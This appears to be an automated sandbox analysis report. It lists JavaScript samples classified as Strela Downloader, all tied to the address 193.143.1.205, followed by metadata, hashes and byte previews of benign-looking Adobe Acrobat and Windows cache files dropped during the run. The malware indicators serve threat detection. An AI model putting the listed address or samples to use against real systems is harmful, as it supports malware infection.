	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18474255912080825433.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066937815839079
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqM:2JIB/wUKUKQncEmYRTwh0o
MD5:	FAF0F25D97C1EC1E5F5FB85BB77B8DF0
SHA1:	80A2EE03600587097C7DD1194A9873938010F164
SHA-256:	5CB932E1FB18D04152D076096D19F4D6E11563B1938AA468E4F9E8A79BA33F72
SHA-512:	1B4BEA9AFDC2C8086F5EE60A2FD1BFB9C92D4930EE8A7CA1A52D343D99F4E798C3F67FD033B102AB9D96BBF5A4685BA981DC451891FE529D2887239142F73A28
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x7f7cca62, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899659833576248
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:bazaPvgurTd42UgSii
MD5:	C6E1C8409145CDB183E0B24B1A9AD159
SHA1:	D0CDB4C2CDE3BE96E7F075E4C30C32F83107BF52
SHA-256:	5F1AB56BD78F0E0C25122BB80248E8770010D59BC518599910B075DCF2D475A1
SHA-512:	A9C9FDE5EF8410D0DE87E906A9BD6701E4E5D4A61F923D5284B4FD51407AF37DF41200C17551C182927544EB3F236D61187E4B48F2DAE09B803EEC57AE23CF41
Malicious:	false
Preview:	.\|.b... ...............X\...;...{......................0.`.....42...{5......}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................=\|5.....}'.................@..Z.....}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08126827358702954
Encrypted:	false
SSDEEP:	3:8/8YeVgk3yAt/57Dek3Jn/ig7AXallEqW3l/TjzzQ/t:8UzVVbR3t/DEemd8/
MD5:	DD022658BA1C7780EE602735E3EC0A33
SHA1:	321451A27BF6DC9CB4260CFA206E346F6988DB84
SHA-256:	3E0C576E4E629D432D199F9568F08884FD8727B1E5277B1506359129AE7FC61E
SHA-512:	412324FECF18B2347FF3A58E4063EF51BD08DF14FDDC5CA544663D50E733D9736DDB59529A40626119399DD494AE9F4C01D56E7E3CFADE9470FBB3AA628D9D04
Malicious:	false
Preview:	*..!.....................................;...{.......}..42...{5.........42...{5.42...{5...Y.42...{59................@..Z.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.229999787831074
Encrypted:	false
SSDEEP:	6:iO4ob+L+q2PcNwi2nKuAl9OmbnIFUtSobEGO1ZmwsobEGYLVkwOcNwi2nKuAl9Oe:7vvvLZHAahFUtRYX1/7Y354ZHAaSJ
MD5:	8072E5274B21B1642BB5E40B73C02874
SHA1:	38CD2B86827F6159FAFADBA102E1473E1D107647
SHA-256:	EB78719B186752D6D31C169A166377A90F61F1FE2F7469108C7A41D33E1CDE6E
SHA-512:	5E2680E947798F8B4B273BFCEB2D9F063B075586F0A467F04517D5FDC4119738636ED93AAC1179D87D725F93CCC7185B9840C4EFDA6411A60E4689F7B66C9CEF
Malicious:	false
Preview:	2025/01/10-09:05:07.324 1c98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-09:05:07.326 1c98 Recovering log #3.2025/01/10-09:05:07.326 1c98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.229999787831074
Encrypted:	false
SSDEEP:	6:iO4ob+L+q2PcNwi2nKuAl9OmbnIFUtSobEGO1ZmwsobEGYLVkwOcNwi2nKuAl9Oe:7vvvLZHAahFUtRYX1/7Y354ZHAaSJ
MD5:	8072E5274B21B1642BB5E40B73C02874
SHA1:	38CD2B86827F6159FAFADBA102E1473E1D107647
SHA-256:	EB78719B186752D6D31C169A166377A90F61F1FE2F7469108C7A41D33E1CDE6E
SHA-512:	5E2680E947798F8B4B273BFCEB2D9F063B075586F0A467F04517D5FDC4119738636ED93AAC1179D87D725F93CCC7185B9840C4EFDA6411A60E4689F7B66C9CEF
Malicious:	false
Preview:	2025/01/10-09:05:07.324 1c98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-09:05:07.326 1c98 Recovering log #3.2025/01/10-09:05:07.326 1c98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.1123744488812815
Encrypted:	false
SSDEEP:	6:iO4ob+xAq2PcNwi2nKuAl9Ombzo2jMGIFUtSob+XuZmwsob+XCkwOcNwi2nKuAlx:7vCAvLZHAa8uFUtRL/7B54ZHAa8RJ
MD5:	D8EFAF8AFE029A636347C9B965C4F803
SHA1:	0926C84C845CF84CA7A1C31B44DAAF61F052F23A
SHA-256:	AA75144D010CC891AE3E7A80C4424D9DAE1DD55761F3C7EABB95DBFCCE0F69F2
SHA-512:	920953FD88F51E4B888388C00DE9C2A803ABB1FFB67DD32DD6C5C1B78345F344D4CA80E78C0CA2824485FEF2C703A7E9E2354196DB484FC360E8DB5DDF4FF6DC
Malicious:	false
Preview:	2025/01/10-09:05:07.351 1d00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-09:05:07.352 1d00 Recovering log #3.2025/01/10-09:05:07.352 1d00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.1123744488812815
Encrypted:	false
SSDEEP:	6:iO4ob+xAq2PcNwi2nKuAl9Ombzo2jMGIFUtSob+XuZmwsob+XCkwOcNwi2nKuAlx:7vCAvLZHAa8uFUtRL/7B54ZHAa8RJ
MD5:	D8EFAF8AFE029A636347C9B965C4F803
SHA1:	0926C84C845CF84CA7A1C31B44DAAF61F052F23A
SHA-256:	AA75144D010CC891AE3E7A80C4424D9DAE1DD55761F3C7EABB95DBFCCE0F69F2
SHA-512:	920953FD88F51E4B888388C00DE9C2A803ABB1FFB67DD32DD6C5C1B78345F344D4CA80E78C0CA2824485FEF2C703A7E9E2354196DB484FC360E8DB5DDF4FF6DC
Malicious:	false
Preview:	2025/01/10-09:05:07.351 1d00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-09:05:07.352 1d00 Recovering log #3.2025/01/10-09:05:07.352 1d00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8842f6fe-4c52-40c8-b718-299a3935ea75.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.975824910517686
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqfSsBdOg2HknAcaq3QYiubSpDyP7E4TX:Y2sRdsydMHkr3QYhbSpDa7n7
MD5:	7BE0F80A6CFB603347AD5B7E71AC05D5
SHA1:	E2913CA42FABD9DBE817A8D5D12536935255BE22
SHA-256:	C5A382ACF8D88F3F3A72DDC9F0E2D2947EAB46F30F789935E16BEFD479CD0992
SHA-512:	3B81FF8B99DC492B6C7E9925533BD63559D4C087763313719DB286F47BB2B42C96370CDB85EAA981A8ECE71CF20F2864DED9A4B8E6FE25831D4FBC0CA6BD74B1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381077920006571","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134799},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.975824910517686
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqfSsBdOg2HknAcaq3QYiubSpDyP7E4TX:Y2sRdsydMHkr3QYhbSpDa7n7
MD5:	7BE0F80A6CFB603347AD5B7E71AC05D5
SHA1:	E2913CA42FABD9DBE817A8D5D12536935255BE22
SHA-256:	C5A382ACF8D88F3F3A72DDC9F0E2D2947EAB46F30F789935E16BEFD479CD0992
SHA-512:	3B81FF8B99DC492B6C7E9925533BD63559D4C087763313719DB286F47BB2B42C96370CDB85EAA981A8ECE71CF20F2864DED9A4B8E6FE25831D4FBC0CA6BD74B1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381077920006571","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134799},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.23775354664647
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPs+YMwIT:CwNw1GHqPySfkcigoO3h28ytPs+YjS
MD5:	CC4EBBE180D24E72331A5BCABD2D7024
SHA1:	EBF4683A0D6BF62D3CAF4D099237B05E8146C583
SHA-256:	D0D15A744106F74BD3D9AC3507FF07776CC4626DD544F1AD29F409F3FCB1228E
SHA-512:	F86AA7685F7802A51BA6DE7281D1B175D70089BD5E17D81210920CF66037B891D8D2C4DBC3ED7D3EDD502FF68EBD3D8EBEF45BB715D7D02629F579E89D40A220
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.149981254914658
Encrypted:	false
SSDEEP:	6:iO4obOnq2PcNwi2nKuAl9OmbzNMxIFUtSobO0ZmwsobO0kwOcNwi2nKuAl9OmbzE:7vevLZHAa8jFUtRl/7354ZHAa84J
MD5:	99C0BE117129D30759313301259B7EA2
SHA1:	E561A96DEF3FB3F98F26B70A2957D9E0F0B693CC
SHA-256:	C2AA5001C44BC9C4CD43D54C43E2CB0EC292D9CDB69132314BA77C33F553349F
SHA-512:	1630B9352FD95477B443F8987F37A3F55F328A707EF4DB3C410F74D88DBA5946E20CAED079980DB337958E817CC3BAF5BA968752D2FAE3C3E42C3A60CC7FC9FF
Malicious:	false
Preview:	2025/01/10-09:05:07.536 1d00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-09:05:07.538 1d00 Recovering log #3.2025/01/10-09:05:07.538 1d00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.149981254914658
Encrypted:	false
SSDEEP:	6:iO4obOnq2PcNwi2nKuAl9OmbzNMxIFUtSobO0ZmwsobO0kwOcNwi2nKuAl9OmbzE:7vevLZHAa8jFUtRl/7354ZHAa84J
MD5:	99C0BE117129D30759313301259B7EA2
SHA1:	E561A96DEF3FB3F98F26B70A2957D9E0F0B693CC
SHA-256:	C2AA5001C44BC9C4CD43D54C43E2CB0EC292D9CDB69132314BA77C33F553349F
SHA-512:	1630B9352FD95477B443F8987F37A3F55F328A707EF4DB3C410F74D88DBA5946E20CAED079980DB337958E817CC3BAF5BA968752D2FAE3C3E42C3A60CC7FC9FF
Malicious:	false
Preview:	2025/01/10-09:05:07.536 1d00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-09:05:07.538 1d00 Recovering log #3.2025/01/10-09:05:07.538 1d00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438514339343352
Encrypted:	false
SSDEEP:	384:SeMci5GGiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:LOurVgazUpUTTGt
MD5:	FB1D184F16008599135D6425A5CFBE4C
SHA1:	24BB3CEFE496CCD47C7A060049F03982FD83CC8E
SHA-256:	9E87FA131C36891435849AEA03E91D01BBD42068371CF7C306563C0EB6D5F443
SHA-512:	53B4DBB571D2734D7C9B3F5CA1742B6F48CE65AB68799E78DFE2DB1BD44A3460C49AAFEAE1E471DE9CFD17DFE429EAFBE37354E6771867097C2E56166AC97441
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2160638655185028
Encrypted:	false
SSDEEP:	24:7+tJvrmb6wKCqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmfE:7MiWCqvmFTIF3XmHjBoGGR+jMz+Lh8
MD5:	E2A97CB3518E0F90FA3327996F7959E6
SHA1:	BFB6885FE4E56F19420770EBE0978D379E879FE3
SHA-256:	47D0A998309CE8FF3C82C2BB5D60B5F513A34EA9E05BCF78142701365546CF2E
SHA-512:	94A500A7D8C9F549EDDF74B26DD76BD4558FD25D3A3C49EBFB761E101BFA9C4761487296C6CEB50E1B326504F35D7C5D22E6A01F57EB86C7294FBF533D356CA7
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.733495823915414
Encrypted:	false
SSDEEP:	3:kkFklewWKPtfllXlE/HT8kgbu/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKHwWKPeT8ATNMa8RdWBwRd
MD5:	DB4E4B51CB9B911AD4464B63C083BBC0
SHA1:	90101A2833792F4A194A597B9202B810E301F992
SHA-256:	480D1FB0E3A457CAFE2DC6DE0CE4F8581A88D69615DE8B53944197CDED9911D7
SHA-512:	486D30B94C952CD6707ABFBD86D5BC2A47E96B5C07F86455BF15E04A764DF395F9C35CE4D11D7022CF772693B7BCC90B3F56F0C7A9C16C176253152BA50B46F3
Malicious:	false
Preview:	p...... ........-x..hc..(....................................................... ..........W.....>..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2284938185447545
Encrypted:	false
SSDEEP:	6:kKBjntL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:riDImsLNkPlE99SNxAhUe/3
MD5:	B18A401FDE2160D4928954A64E7B2B52
SHA1:	7E849F10EC278C3DE6A3C57765791FA1EDC2BB37
SHA-256:	1B2A3E4A59C082BC33D0C6C3D7B51DC5C3282EF4CE521A1294150B92484122B2
SHA-512:	ED36F41CF02F95903067CDDE0551432D10FB564813E013EE1EA093B19DC6474B476B3A0E2A0510FD50DA020A4D7EDDF62C652C578AB527668ABAB28E74D5FD60
Malicious:	false
Preview:	p...... .........F.hc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
